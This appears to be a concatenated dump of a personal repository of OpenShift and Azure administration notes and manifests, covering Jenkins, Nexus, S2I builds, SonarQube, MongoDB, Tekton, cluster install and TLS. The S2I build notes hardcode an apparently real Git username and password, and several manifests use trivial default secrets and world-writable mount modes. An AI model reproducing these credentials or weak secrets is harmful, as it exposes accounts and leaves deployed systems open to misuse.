--name=jboss-config --mount-path=/opt/eap/standalone/configuration/application-users.properties --sub-path=application-users.properties --configmap-name=tasks-green-config -n ${GUID}-tasks-prod 57 | oc set volume dc/tasks-green --add --name=jboss-config1 --mount-path=/opt/eap/standalone/configuration/application-roles.properties --sub-path=application-roles.properties --configmap-name=tasks-green-config -n ${GUID}-tasks-prod 58 | 59 | # Expose Blue service as route to make blue application active 60 | oc expose svc/tasks-blue --name tasks -n ${GUID}-tasks-prod 61 | ``` 62 | 63 | ## Setup pipline Jenkins 64 | 65 | If you want to use jenkins to run your pipeline go in to jenkins create a pipline item. 66 | Under Pipeline klick Definition and pick Pipline script from SCM and fill in your requiered info. 67 | 68 | ## Setup OCP pipeline 69 | 70 | So if you want to be able to view your pipeline within openshift you can create a BuildConfig with type "JenkinsPipeline". 71 | This need to be created in the same namespace as your jenkins master. 72 | 73 | ```bash 74 | oc apply -f Buildconfig.yaml -n c0e7-jenkins 75 | oc create secret generic gogs-secret --from-literal= --from-literal=password= -n c0e7-jenkins 76 | oc set build-secret --source bc/tasks-pipeline gogs-secret -n c0e7-jenkins 77 | ``` 78 | 79 | You will now see your pipeline under Builds → Build Configs in your jenkins project. 80 | -------------------------------------------------------------------------------- /applicationdev/jenkins_setup/jenkins_setup.md: -------------------------------------------------------------------------------- 1 | # Jenkins Setup 2 | 3 | ```bash 4 | 5 | oc new-app jenkins-persistent --param ENABLE_OAUTH=true --param MEMORY_LIMIT=2Gi --param VOLUME_CAPACITY=4Gi --param DISABLE_ADMINISTRATIVE_MONITORS=true 6 | 7 | oc set resources dc jenkins --limits=memory=2Gi,cpu=2 --requests=memory=1Gi,cpu=500m 8 | 9 | # Custom slave 10 | 11 | oc new-build --strategy=docker -D $'FROM quay.io/openshift/origin-jenkins-agent-maven:4.1.0\n 12 | USER root\n 13 | RUN curl https://copr.fedorainfracloud.org/coprs/alsadi/dumb-init/repo/epel-7/alsadi-dumb-init-epel-7.repo -o /etc/yum.repos.d/alsadi-dumb-init-epel-7.repo && \ \n 14 | curl https://raw.githubusercontent.com/cloudrouter/centos-repo/master/CentOS-Base.repo -o /etc/yum.repos.d/CentOS-Base.repo && \ \n 15 | curl http://mirror.centos.org/centos-7/7/os/x86_64/RPM-GPG-KEY-CentOS-7 -o /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 && \ \n 16 | DISABLES="--disablerepo=rhel-server-extras --disablerepo=rhel-server --disablerepo=rhel-fast-datapath --disablerepo=rhel-server-optional --disablerepo=rhel-server-ose --disablerepo=rhel-server-rhscl" && \ \n 17 | yum $DISABLES -y --setopt=tsflags=nodocs install skopeo && yum clean all\n 18 | USER 1001' --name=jenkins-agent-appdev -n ${GUID}-jenkins 19 | 20 | 21 | ``` 22 | -------------------------------------------------------------------------------- /applicationdev/nexus/nexus.md: -------------------------------------------------------------------------------- 1 | # Nexus 2 | 3 | ```bash 4 | 5 | oc new-project ${GUID}-nexus --display-name "${GUID} Shared Nexus" 6 | 7 | oc new-app sonatype/nexus3:latest --name=nexus 8 | oc expose svc nexus 9 | oc rollout pause dc nexus 10 | 11 | oc patch dc nexus --patch='{ "spec": { "strategy": { "type": "Recreate" }}}' 12 | oc set resources dc nexus --limits=memory=2Gi,cpu=2 --requests=memory=1Gi,cpu=500m 13 | 14 | oc set volume dc/nexus --add --overwrite --name=nexus-volume-1 --mount-path=/nexus-data/ --type persistentVolumeClaim --claim-name=nexus-pvc --claim-size=10Gi 15 | 16 | oc set probe dc/nexus --liveness --failure-threshold 3 --initial-delay-seconds 60 -- echo ok 17 | oc set probe dc/nexus --readiness --failure-threshold 3 --initial-delay-seconds 60 --get-url=http://:8081/ 18 | 19 | oc rollout resume dc nexus 20 | 21 | 22 | # Create the svc that will be used to push images port 5000 23 | oc create -f svc.yaml 24 | 25 | # Create the route 26 | oc create route edge --service=nexus-registry --insecure-policy="" 27 | ``` 28 | -------------------------------------------------------------------------------- /applicationdev/nexus/svc.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | labels: 5 | app: nexus 6 | name: nexus-registry 7 | namespace: c0e7-nexus 8 | spec: 9 | ports: 10 | - name: 5000-tcp 11 | port: 5000 12 | protocol: TCP 13 | targetPort: 5000 14 | selector: 15 | app: nexus 16 | deploymentconfig: nexus 17 | -------------------------------------------------------------------------------- /applicationdev/s2i_build/build.md: -------------------------------------------------------------------------------- 1 | # Build 2 | 3 | So lets do some usefull stuff in s2i 4 | 5 | ## Start a new app and put a secret so you can pull git repo behind password. 6 | 7 | ```bash 8 | oc new-app --template=eap72-basic-s2i --param APPLICATION_NAME=tasks --param SOURCE_REPOSITORY_URL=http://gogs-gogs.${GUID}-gogs.svc.cluster.local:3000/CICDLabs/openshift-tasks-private.git --param SOURCE_REPOSITORY_REF=master --param CONTEXT_DIR=/ --param MAVEN_MIRROR_URL=http://nexus.${GUID}-nexus.svc.cluster.local:8081/repository/maven-all-public 9 | 10 | oc create secret generic gogs-secret --from-literal=username=enorling-redhat.com --from-literal=password=Hejsan123 11 | 12 | oc set build-secret --source bc/tasks gogs-secret 13 | 14 | oc start-build tasks 15 | ``` 16 | 17 | ## Let's use artifacts to make the build faster 18 | 19 | ```bash 20 | oc patch bc tasks --patch='{"spec":{"strategy": {"sourceStrategy": {"forcePull": false}}}}' 21 | 22 | oc patch bc/tasks --patch='{"spec": {"strategy": {"sourceStrategy": {"incremental": true}}}}' 23 | 24 | ``` 25 | 26 | ## Build through is 27 | 28 | oc new-app --image-stream=redhat-openjdk18-openshift:1.2 https://github.com/redhat-gpte-devopsautomation/ola.git 29 | 30 | ## Build from binary 31 | 32 | First create the image-stream 33 | Then push up the binary from your local repo 34 | In this example we assume that you have a jar built from: 35 | https://github.com/redhat-gpte-devopsautomation/ola.git 36 | 37 | ```bash 38 | oc new-build --binary=true --name=ola-binary --image-stream=redhat-openjdk18-openshift:1.2 39 | 40 | oc start-build ola-binary --from-file=$HOME/ola/target/ola.jar --follow 41 | 42 | # Wait for jar to uploaded and perfrom 43 | oc new-app ola-binary 44 | ``` 45 | 46 | Instead of doing this check out: https://github.com/openshift/odo 47 | 48 | ## Set build config limits 49 | 50 | The set api currently don't allow buildconfig to be updated using set. 51 | 52 | *NOTE* Bellow command don't work! 53 | ```oc set resources bc builder --limits=memory=3Gi,cpu=2 --requests=memory=2Gi,cpu=1``` 54 | 55 | error: buildconfigs/builder the object is not a pod or does not have a pod template: *v1.BuildConfig 56 | 57 | There is a system wide build config that you can make: build.config.openshift.io/cluster 58 | https://docs.openshift.com/container-platform/4.1/builds/build-configuration.html#builds-configuration-file_build-configuration 59 | 60 | That should overwrite your default limits. 61 | 62 | If your admin don't want to do that perform your favorite patch command: 63 | 64 | oc patch bc builder --patch='{"spec":{"resources": {"limits": {"cpu": "1", "memory": "2Gi"},"requests": {"cpu": "500m","memory": "1Gi"}}}}' 65 | 66 | ## Chained builds 67 | 68 | ```bash 69 | # Create a new is, don't ask me why the default golang one isn't a good option. 70 | oc import-image jorgemoralespou/s2i-go --confirm 71 | 72 | # Use the s2i-go is and create a build 73 | oc new-build s2i-go~https://github.com/tonykay/ose-chained-builds --context-dir=/go-scratch/hello_world --name=builder 74 | 75 | oc new-build --name=runtime \ 76 | --source-image=builder \ 77 | --source-image-path=/opt/app-root/src/go/src/main/main:. \ 78 | --dockerfile=$'FROM scratch\nCOPY main /main\nEXPOSE 8080\nUSER 9696\nENTRYPOINT ["/main"]' 79 | 80 | # Start the app when the build is ready 81 | oc new-app runtime --name=my-application 82 | 83 | ``` 84 | -------------------------------------------------------------------------------- /applicationdev/sidecar/deplotconfig.yaml: -------------------------------------------------------------------------------- 1 | spec: 2 | containers: 3 | - args: 4 | - /bin/sh 5 | - -c 6 | - sleep 5 && tail -n+1 -f /tmp/datelog.txt 7 | image: docker.io/busybox:latest 8 | imagePullPolicy: Always 9 | name: logging-sidecar 10 | resources: {} 11 | terminationMessagePath: /dev/termination-log 12 | terminationMessagePolicy: File 13 | volumeMounts: 14 | - mountPath: /tmp 15 | name: tmp 16 | - image: quay.io/gpte-devops-automation/logtofile@sha256:bf1dfd99bfc4840132068c8b4551482792554f84d8b178a4fa1a72b1f31c7d4c 17 | imagePullPolicy: Always 18 | name: logging 19 | resources: {} 20 | terminationMessagePath: /dev/termination-log 21 | terminationMessagePolicy: File 22 | volumeMounts: 23 | - mountPath: /tmp 24 | name: tmp 25 | volumes: 26 | - emptyDir: {} 27 | name: tmp -------------------------------------------------------------------------------- /applicationdev/sidecar/sidecar.md: -------------------------------------------------------------------------------- 1 | # Sidecar 2 | 3 | Old leagecy apps might be able to be rewritten to send logs out to std-out. 4 | To solve this you can easily put in a sidecar. 5 | 6 | Think of that you have to mount the volume between the two containers. The original one you want to read from and the side-car that will do the tail 7 | -------------------------------------------------------------------------------- /applicationdev/sonarqube/sonarqube.md: -------------------------------------------------------------------------------- 1 | # Sonarqube 2 | 3 | So much fun 4 | 5 | https://github.com/wkulhanek/docker-openshift-sonarqube 6 | 7 | ```bash 8 | 9 | # Create postgres 10 | oc new-app postgresql-persistent \ 11 | --param POSTGRESQL_USER=sonar --param POSTGRESQL_PASSWORD=sonar --param POSTGRESQL_DATABASE=sonar --param VOLUME_CAPACITY=4Gi -lapp=sonarqube_db 12 | 13 | # Create sonar 14 | oc new-app quay.io/gpte-devops-automation/sonarqube:7.9.1 -e SONARQUBE_JDBC_USERNAME=sonar -e SONARQUBE_JDBC_PASSWORD=sonar -e SONARQUBE_JDBC_URL=jdbc:postgresql://postgresql/sonar 15 | 16 | oc rollout pause dc sonarqube 17 | 18 | oc expose svc sonarqube 19 | 20 | echo "apiVersion: v1 21 | kind: PersistentVolumeClaim 22 | metadata: 23 | name: sonarqube-pvc 24 | spec: 25 | accessModes: 26 | - ReadWriteOnce 27 | resources: 28 | requests: 29 | storage: 5Gi" | oc create -f - 30 | 31 | oc set volume dc/sonarqube --add --overwrite --name=sonarqube-volume-1 --mount-path=/opt/sonarqube/data/ --type persistentVolumeClaim --claim-name=sonarqube-pvc 32 | 33 | oc set resources dc sonarqube --limits=memory=3Gi,cpu=2 --requests=memory=2Gi,cpu=1 34 | 35 | oc patch dc sonarqube --patch='{ "spec": { "strategy": { "type": "Recreate" }}}' 36 | 37 | oc label dc sonarqube tuned.openshift.io/elasticsearch=true 38 | 39 | 40 | oc patch dc sonarqube --type=merge --patch='{"spec": {"template": {"metadata": {"labels": {"tuned.openshift.io/elasticsearch": "true"}}}}}' 41 | 42 | oc rollout resume dc sonarqube 43 | 44 | ``` 45 | -------------------------------------------------------------------------------- /applicationdev/statefullset/headless_svc.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | annotations: 5 | service.alpha.kubernetes.io/tolerate-unready-endpoints: "true" 6 | name: mongodb-internal 7 | labels: 8 | name: "mongodb" 9 | app: mongodb 10 | spec: 11 | ports: 12 | - port: 27017 13 | name: mongodb 14 | clusterIP: None 15 | selector: 16 | name: "mongodb" 17 | -------------------------------------------------------------------------------- /applicationdev/statefullset/service.yml: -------------------------------------------------------------------------------- 1 | kind: Service 2 | apiVersion: v1 3 | metadata: 4 | name: "mongodb" 5 | labels: 6 | name: "mongodb" 7 | spec: 8 | ports: 9 | - name: mongodb 10 | port: 27017 11 | selector: 12 | name: "mongodb" -------------------------------------------------------------------------------- /applicationdev/statefullset/statefull.yml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: StatefulSet 3 | metadata: 4 | name: mongodb 5 | spec: 6 | serviceName: "mongodb-internal" 7 | replicas: 3 8 | selector: 9 | matchLabels: 10 | name: mongodb 11 | template: 12 | metadata: 13 | labels: 14 | name: mongodb 15 | spec: 16 | containers: 17 | - name: mongodb 18 | image: registry.access.redhat.com/rhscl/mongodb-34-rhel7:latest 19 | ports: 20 | - containerPort: 27017 21 | name: mongodb 22 | args: 23 | - "run-mongod-replication" 24 | volumeMounts: 25 | - name: mongodb-data 26 | mountPath: /var/lib/mongodb/data 27 | env: 28 | - name: MONGODB_DATABASE 29 | value: "mongodb" 30 | - name: MONGODB_USER 31 | value: "mongodb_user" 32 | - name: MONGODB_PASSWORD 33 | value: mongodb_password 34 | - name: MONGODB_ADMIN_PASSWORD 35 | value: mongodb_admin_password 36 | - name: MONGODB_REPLICA_NAME 37 | value: rs0 38 | - name: MONGODB_KEYFILE_VALUE 39 | value: "12345678901234567890" 40 | - name: MONGODB_SERVICE_NAME 41 | value: mongodb-internal 42 | readinessProbe: 43 | exec: 44 | command: 45 | - stat 46 | - /tmp/initialized 47 | volumeClaimTemplates: 48 | - metadata: 49 | name: mongodb-data 50 | spec: 51 | accessModes: [ "ReadWriteOnce" ] 52 | resources: 53 | requests: 54 | storage: 4Gi 55 | -------------------------------------------------------------------------------- /applicationdev/statefullset/statefullset.md: -------------------------------------------------------------------------------- 1 | # statefull set 2 | 3 | Should this be used vs a operator. Probably very rarley but there are defently use cases. 4 | -------------------------------------------------------------------------------- /applicationdev/tekton/build.yml: -------------------------------------------------------------------------------- 1 | apiVersion: tekton.dev/v1alpha1 2 | kind: PipelineResource 3 | metadata: 4 | name: openshift-tasks-git 5 | namespace: c0e7-tekton 6 | spec: 7 | type: git 8 | params: 9 | - name: url 10 | value: https://gogs-gogs-c0e7-gogs.apps.cluster-raleigh.raleigh.example.opentlc.com/CICDLabs/openshift-tasks.git 11 | - name: revision 12 | value: master 13 | --- 14 | apiVersion: tekton.dev/v1alpha1 15 | kind: PipelineResource 16 | metadata: 17 | name: c0e7-openshift-tasks-image 18 | namespace: c0e7-tekton 19 | spec: 20 | type: image 21 | params: 22 | - name: url 23 | value: image-registry.openshift-image-registry.svc:5000/c0e7-tekton/openshift-tasks 24 | --- 25 | apiVersion: tekton.dev/v1alpha1 26 | kind: Task 27 | metadata: 28 | name: maven-build-binary-build 29 | namespace: c0e7-tekton 30 | spec: 31 | inputs: 32 | resources: 33 | - name: source 34 | type: git 35 | steps: 36 | - name: package 37 | image: maven:3.6.0-jdk-8-slim 38 | workingDir: /tmp 39 | command: 40 | - /usr/bin/mvn 41 | args: 42 | - test -s ./nexus_settings.xml 43 | env: 44 | - name: "MAVEN_CONFIG" 45 | value: "/tmp/.m2" 46 | --- 47 | apiVersion: tekton.dev/v1alpha1 48 | kind: Pipeline 49 | metadata: 50 | name: openshift-tasks-pipeline 51 | namespace: c0e7-tekton 52 | spec: 53 | resources: 54 | - name: openshift-tasks-git 55 | type: git 56 | tasks: 57 | - name: maven-build-binary-build 58 | taskRef: 59 | name: maven-build-binary-build 60 | resources: 61 | inputs: 62 | - name: source 63 | resource: openshift-tasks-git 64 | -------------------------------------------------------------------------------- /applicationdev/tekton/tekton.md: -------------------------------------------------------------------------------- 1 | # Tekton 2 | 3 | Download your tkn cli 4 | 5 | oc new-project c0e7-tekton 6 | 7 | oc create serviceaccount tekton 8 | 9 | oc policy add-role-to-user edit -z tekton -n c0e7-tekton 10 | 11 | oc apply -f build.yml 12 | 13 | tkn pipeline start openshift-tasks-pipeline 14 | -------------------------------------------------------------------------------- /azure.md: -------------------------------------------------------------------------------- 1 | # Azure 2 | 3 | I'm doing a OCP 4.3 IPI install on Azure. 4 | In this file I will post a bunch of az commands, hopefully I will have time to convert some of these tasks in to code as well. 5 | 6 | ## My account 7 | 8 | ### Login 9 | 10 | az login 11 | 12 | Starts a external browser where you login. 13 | 14 | ### Active account 15 | 16 | az account show 17 | az ad group list --query '[].displayName' -o tsv |grep pull 18 | Shows the account that you are currently logged in as. 19 | 20 | ### List accounts 21 | 22 | az account list --refresh 23 | 24 | ### Change account 25 | 26 | az account set -s 27 | 28 | ## OCP pre-req 29 | 30 | My version of the [re-req](https://docs.openshift.com/container-platform/4.3/installing/installing_azure/installing-azure-account.html) documentation. 31 | 32 | ### quota limits 33 | 34 | You have to increase your quota! 35 | 36 | https://docs.openshift.com/container-platform/4.3/installing/installing_azure/installing-azure-account.html#installation-azure-limits_installing-azure-account 37 | 38 | https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits 39 | 40 | Pain in the ass "helping" users not to increase there billing to much. 41 | 42 | ### Get id & tenantId 43 | 44 | To be able to perfrom a IPI install you need to record the id & tenantId 45 | 46 | You can do: 47 | 48 | az account show 49 | 50 | Or show my non existing jq skills and do: 51 | 52 | export ID=$(az account show |jq .id) 53 | 54 | export tenatID=$(az account show |jq .tenantId) 55 | 56 | ### Create Service Principal SP 57 | 58 | Aka service account 59 | 60 | az ad sp create-for-rbac --role Contributor --name ocpIPI 61 | 62 | Write down the output somewhere 63 | 64 | #### List SP 65 | 66 | List the specific SP that you just created, this won't show you the password 67 | 68 | az ad sp list --display-name ocpIPI 69 | 70 | ### Grant aditional access for SP 71 | 72 | ```shell 73 | # Get appId 74 | export appId=$(az ad sp list --display-name ocpIPI |jq '.[0].appId' -r) 75 | 76 | az role assignment create --role "User Access Administrator" \ 77 | --assignee-object-id $(az ad sp list --filter "appId eq '$appId'" \ 78 | | jq '.[0].objectId' -r) 79 | 80 | az ad app permission add --id $appId \ 81 | --api 00000002-0000-0000-c000-000000000000 \ 82 | --api-permissions 824c81eb-e3f8-4ee6-8f6d-de7f50d565b7=Role 83 | 84 | az ad app permission grant --id $appId \ 85 | --api 00000002-0000-0000-c000-000000000000 86 | ``` 87 | 88 | ### Strange regions 89 | 90 | If you are running your deployment in a region where you normally don't have access. 91 | You might need to perfrom the following command to get access to public ip. 92 | Don't ask me why, i don't know :D 93 | 94 | az provider register --subscription -n Microsoft.Network 95 | 96 | or 97 | 98 | az provider register --subscription $ID -n Microsoft.Network 99 | 100 | ## OCP quick install 101 | 102 | ```shell 103 | mkdir ipi 104 | 105 | openshift-install create cluster --dir=ipi \ 106 | --log-level=debug 107 | 108 | ``` 109 | 110 | From another terminal 111 | 112 | ```shell 113 | # azure subscription id: 114 | az account show |jq .id -r 115 | 116 | # tenant id 117 | az account show |jq .tenantId -r 118 | 119 | # appId 120 | az ad sp list --display-name ocpIPI |jq '.[0].appId' -r 121 | 122 | # secret 123 | Something that you wrote down when you created the SP :) 124 | ``` 125 | 126 | ## OCP custom install 127 | 128 | This is probably the thing that you will do most of the [time.](https://docs.openshift.com/container-platform/4.4/installing/installing_azure/installing-azure-customizations.html#installing-azure-customizations) 129 | Here you can find a list of all azure [regions](https://azure.microsoft.com/en-us/global-infrastructure/locations/) 130 | 131 | When writing this document it's a DSv3 vCPU that you should ask access [for](https://docs.microsoft.com/en-us/azure/virtual-machines/dv3-dsv3-series) 132 | 133 | ```shell 134 | mkdir ipi_custom 135 | 136 | ./openshift-install create install-config --dir=ipi_custom 137 | 138 | # Perfrom your changes before running the following command 139 | ./openshift-install create cluster --dir=ipi_custom \ 140 | --log-level=debug 141 | 142 | ``` 143 | 144 | ## Setup Azure AD login 145 | 146 | https://www.arctiq.ca/our-blog/2020/1/30/ocp4-auth-with-azure-ad/ 147 | 148 | Also read Samúel Jón Gunnarsson dm on k8s-slack. 149 | 150 | ## Azure File Storage 151 | 152 | If you want to be able to do ReadWriteMany you need to create a new SC with Azure Files share 153 | Orig docs can be found here: https://docs.microsoft.com/en-us/azure/aks/azure-files-volume 154 | 155 | ```shell 156 | # Change these four parameters as needed for your own environment 157 | export AKS_PERS_STORAGE_ACCOUNT_NAME=mystorageaccount$RANDOM 158 | export AKS_PERS_RESOURCE_GROUP=myOCPShare 159 | export AKS_PERS_LOCATION=norwaywest 160 | export AKS_PERS_SHARE_NAME=ocpshare 161 | 162 | # Create a resource group 163 | az group create --name $AKS_PERS_RESOURCE_GROUP --location $AKS_PERS_LOCATION 164 | 165 | # Create a storage account 166 | az storage account create -n $AKS_PERS_STORAGE_ACCOUNT_NAME -g $AKS_PERS_RESOURCE_GROUP -l $AKS_PERS_LOCATION --sku Standard_LRS 167 | 168 | # Export the connection string as an environment variable, this is used when creating the Azure file share 169 | export AZURE_STORAGE_CONNECTION_STRING=$(az storage account show-connection-string -n $AKS_PERS_STORAGE_ACCOUNT_NAME -g $AKS_PERS_RESOURCE_GROUP -o tsv) 170 | 171 | # Create the file share 172 | az storage share create -n $AKS_PERS_SHARE_NAME --connection-string $AZURE_STORAGE_CONNECTION_STRING 173 | 174 | # Get storage account key 175 | STORAGE_KEY=$(az storage account keys list --resource-group $AKS_PERS_RESOURCE_GROUP --account-name $AKS_PERS_STORAGE_ACCOUNT_NAME --query "[0].value" -o tsv) 176 | 177 | # Echo storage account name and key 178 | echo Storage account name: $AKS_PERS_STORAGE_ACCOUNT_NAME 179 | echo Storage account key: $STORAGE_KEY 180 | ``` 181 | 182 | Create secret 183 | ```shell 184 | kubectl create secret generic azure-secret --from-literal=azurestorageaccountname=$AKS_PERS_STORAGE_ACCOUNT_NAME --from-literal=azurestorageaccountkey=$STORAGE_KEY 185 | ``` 186 | 187 | ### Create the PV 188 | 189 | ```yaml 190 | apiVersion: "v1" 191 | kind: "PersistentVolume" 192 | metadata: 193 | name: "pv0001" 194 | spec: 195 | capacity: 196 | storage: "5Gi" 197 | accessModes: 198 | - "ReadWriteMany" 199 | storageClassName: azurefile 200 | azureFile: 201 | secretName: azure-secret 202 | shareName: ocpshare 203 | readOnly: false 204 | mountOptions: 205 | - dir_mode=0777 206 | - file_mode=0777 207 | ``` 208 | 209 | ### Create PVC 210 | 211 | ```yaml 212 | apiVersion: v1 213 | kind: PersistentVolumeClaim 214 | metadata: 215 | name: rstudio-pvc 216 | spec: 217 | accessModes: 218 | - ReadWriteMany 219 | storageClassName: azurefile 220 | resources: 221 | requests: 222 | storage: 5Gi 223 | ``` 224 | 225 | ## AZ commands 226 | 227 | ### resource update 228 | 229 | Force Azure to look for resources it has. Can be good if you can see vm:s in VMSS but not in kubernetes. 230 | This will tell AKS to check over it's resources. 231 | 232 | az resource update --id /subscriptions/your-sub-id/resourceGroups/rg-dev-we-aks/providers/Microsoft.ContainerService/managedClusters/aks-dev-we-aks1 233 | 234 | To get the string it's easiest to go in to the azure portal under AKS to the cluster you want to force and update on and look at the URI. 235 | 236 | ### wildcard group list 237 | 238 | The Azure AD UI is missing a wildcard search function so you can't more or less use it. 239 | I also looked in to using powershell instead of AZ and there is no support for linux and the powershell AD modules. 240 | 241 | This is the current workaround I use, there are probably better ones. Please come with a issue/PR with an improvement. 242 | 243 | az ad group list --query '[].displayName' -o tsv |grep pull 244 | -------------------------------------------------------------------------------- /bra_att_ha.md: -------------------------------------------------------------------------------- 1 | # Nice to have 2 | 3 | ## RHEL 8 commands 4 | 5 | ### dnf/yum Modules 6 | 7 | A module is a number of rpm:s packages that you "normally" install together 8 | 9 | https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/installing_managing_and_removing_user_space_components/finding-rhel-8-content_using-appstream 10 | 11 | #### List the modules 12 | 13 | dnf module list 14 | 15 | #### Enable module 16 | 17 | dnf module enable virt 18 | -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: ConfigMap 3 | metadata: 4 | name: cluster-monitoring-config 5 | namespace: openshift-monitoring 6 | data: 7 | config.yaml: | 8 | alertmanagerMain: 9 | nodeSelector: 10 | node-role.kubernetes.io/infra: "" 11 | tolerations: 12 | - key: infra 13 | value: reserved 14 | effect: NoSchedule 15 | - key: infra 16 | value: reserved 17 | effect: NoExecute 18 | prometheusK8s: 19 | nodeSelector: 20 | node-role.kubernetes.io/infra: "" 21 | tolerations: 22 | - key: infra 23 | value: reserved 24 | effect: NoSchedule 25 | - key: infra 26 | value: reserved 27 | effect: NoExecute 28 | prometheusOperator: 29 | nodeSelector: 30 | node-role.kubernetes.io/infra: "" 31 | tolerations: 32 | - key: infra 33 | value: reserved 34 | effect: NoSchedule 35 | - key: infra 36 | value: reserved 37 | effect: NoExecute 38 | grafana: 39 | nodeSelector: 40 | node-role.kubernetes.io/infra: "" 41 | tolerations: 42 | - key: infra 43 | value: reserved 44 | effect: NoSchedule 45 | - key: infra 46 | value: reserved 47 | effect: NoExecute 48 | k8sPrometheusAdapter: 49 | nodeSelector: 50 | node-role.kubernetes.io/infra: "" 51 | tolerations: 52 | - key: infra 53 | value: reserved 54 | effect: NoSchedule 55 | - key: infra 56 | value: reserved 57 | effect: NoExecute 58 | kubeStateMetrics: 59 | nodeSelector: 60 | node-role.kubernetes.io/infra: "" 61 | tolerations: 62 | - key: infra 63 | value: reserved 64 | effect: NoSchedule 65 | - key: infra 66 | value: reserved 67 | effect: NoExecute 68 | telemeterClient: 69 | nodeSelector: 70 | node-role.kubernetes.io/infra: "" 71 | tolerations: 72 | - key: infra 73 | value: reserved 74 | effect: NoSchedule 75 | - key: infra 76 | value: reserved 77 | effect: NoExecute 78 | -------------------------------------------------------------------------------- /config_tls.md: -------------------------------------------------------------------------------- 1 | # Configure TLS for your OCP 4 cluster 2 | 3 | Pre-req is that you got your certificates, for example from: https://letsencrypt.org/ 4 | 5 | In some commands you might see stuff like $GUID or $API_HOSTNAME, this should ofc point to your own information. 6 | 7 | ## Add TLS to secret 8 | 9 | This will trigger an update within the operators 10 | 11 | oc create secret tls cluster-apiserver-tls --cert=.cert.pem --key=private/.key.pem -n openshift-config 12 | 13 | ### Make the apiserver use the secret 14 | 15 | ```oc patch apiservers.config.openshift.io cluster --type=merge -p '{"spec":{"servingCerts": {"namedCertificates": [{"names": ["'$API_HOSTNAME'"], "servingCertificate": {"name": "cluster-apiserver-tls"}}]}}}'``` 16 | 17 | ### Watch the changes 18 | 19 | watch oc get co 20 | 21 | ### Update kubeconfig 22 | 23 | Update kubeconfig to use the new certificate. 24 | 25 | ```oc config set-cluster $GUID --certificate-authority=/cacert.pem``` 26 | 27 | Verify that you can login to the server 28 | 29 | ## Add TLS to ingress default cert 30 | 31 | ### Create secret 32 | 33 | ```oc create secret tls default-ingress-tls --cert=$HOME/ca/certs/$INGRESS_DOMAIN.cert.pem --key=$HOME/ca/private/$INGRESS_DOMAIN.key.pem -n openshift-ingress``` 34 | 35 | ### Path ingresscontroller 36 | 37 | ```oc patch ingresscontroller.operator default --type=merge -p '{"spec":{"defaultCertificate": {"name": "default-ingress-tls"}}}' -n openshift-ingress-operator``` 38 | 39 | ### Verifiy ingresscontroller 40 | 41 | ```curl $(oc whoami --show-console) --cacert $HOME/ca/cacert.pem -v | head -1``` 42 | 43 | ```openssl s_client -showcerts -servername test.$INGRESS_DOMAIN -connect test.$INGRESS_DOMAIN:443``` 44 | 45 | oc patch machineconfig 99-worker-ssh --type=json --patch="[{\"op\":\"add\", \"path\":\"/spec/config/passwd/users/1/sshAuthorizedKeys/-\", \"value\":\"$(cat $HOME/.ssh/node.id_rsa.pub)\"}]" 46 | -------------------------------------------------------------------------------- /default_project/project.md: -------------------------------------------------------------------------------- 1 | # Project template 2 | 3 | oc adm create-bootstrap-project-template -o yaml > template.yaml 4 | 5 | Edit the template to your needs, for example template.yaml 6 | 7 | oc create -f template.yaml -n openshift-config 8 | 9 | Edit: 10 | 11 | oc edit project.config.openshift.io/cluster 12 | 13 | Add: 14 | ```yaml 15 | spec: 16 | projectRequestTemplate: 17 | name: 18 | ``` 19 | 20 | TODO: Add patch version 21 | -------------------------------------------------------------------------------- /default_project/template.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: template.openshift.io/v1 2 | kind: Template 3 | metadata: 4 | creationTimestamp: null 5 | name: project-request 6 | objects: 7 | - apiVersion: project.openshift.io/v1 8 | kind: Project 9 | metadata: 10 | annotations: 11 | openshift.io/description: ${PROJECT_DESCRIPTION} 12 | openshift.io/display-name: ${PROJECT_DISPLAYNAME} 13 | openshift.io/requester: ${PROJECT_REQUESTING_USER} 14 | creationTimestamp: null 15 | name: ${PROJECT_NAME} 16 | spec: {} 17 | status: {} 18 | - apiVersion: rbac.authorization.k8s.io/v1 19 | kind: RoleBinding 20 | metadata: 21 | creationTimestamp: null 22 | name: admin 23 | namespace: ${PROJECT_NAME} 24 | roleRef: 25 | apiGroup: rbac.authorization.k8s.io 26 | kind: ClusterRole 27 | name: admin 28 | subjects: 29 | - apiGroup: rbac.authorization.k8s.io 30 | kind: User 31 | name: ${PROJECT_ADMIN_USER} 32 | - apiVersion: v1 33 | kind: ResourceQuota 34 | metadata: 35 | name: project-quota 36 | namespace: ${PROJECT_NAME} 37 | spec: 38 | hard: 39 | limits.cpu: 6 40 | limits.memory: "16Gi" 41 | pods: 10 42 | requests.cpu: 4 43 | requests.storage: "20G" 44 | requests.memory: "8Gi" 45 | - apiVersion: "v1" 46 | kind: "LimitRange" 47 | metadata: 48 | name: "project-limits" 49 | namespace: ${PROJECT_NAME} 50 | spec: 51 | limits: 52 | - default: 53 | cpu: 500m 54 | memory: 500Mi 55 | max: 56 | cpu: 1 57 | memory: 1Gi 58 | type: Container 59 | parameters: 60 | - name: PROJECT_NAME 61 | - name: PROJECT_DISPLAYNAME 62 | - name: PROJECT_DESCRIPTION 63 | - name: PROJECT_ADMIN_USER 64 | - name: PROJECT_REQUESTING_USER 65 | -------------------------------------------------------------------------------- /default_project/template_network.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: template.openshift.io/v1 2 | kind: Template 3 | metadata: 4 | creationTimestamp: null 5 | name: project-request 6 | objects: 7 | - apiVersion: project.openshift.io/v1 8 | kind: Project 9 | metadata: 10 | annotations: 11 | openshift.io/description: ${PROJECT_DESCRIPTION} 12 | openshift.io/display-name: ${PROJECT_DISPLAYNAME} 13 | openshift.io/requester: ${PROJECT_REQUESTING_USER} 14 | creationTimestamp: null 15 | name: ${PROJECT_NAME} 16 | spec: {} 17 | status: {} 18 | - apiVersion: rbac.authorization.k8s.io/v1 19 | kind: RoleBinding 20 | metadata: 21 | creationTimestamp: null 22 | name: admin 23 | namespace: ${PROJECT_NAME} 24 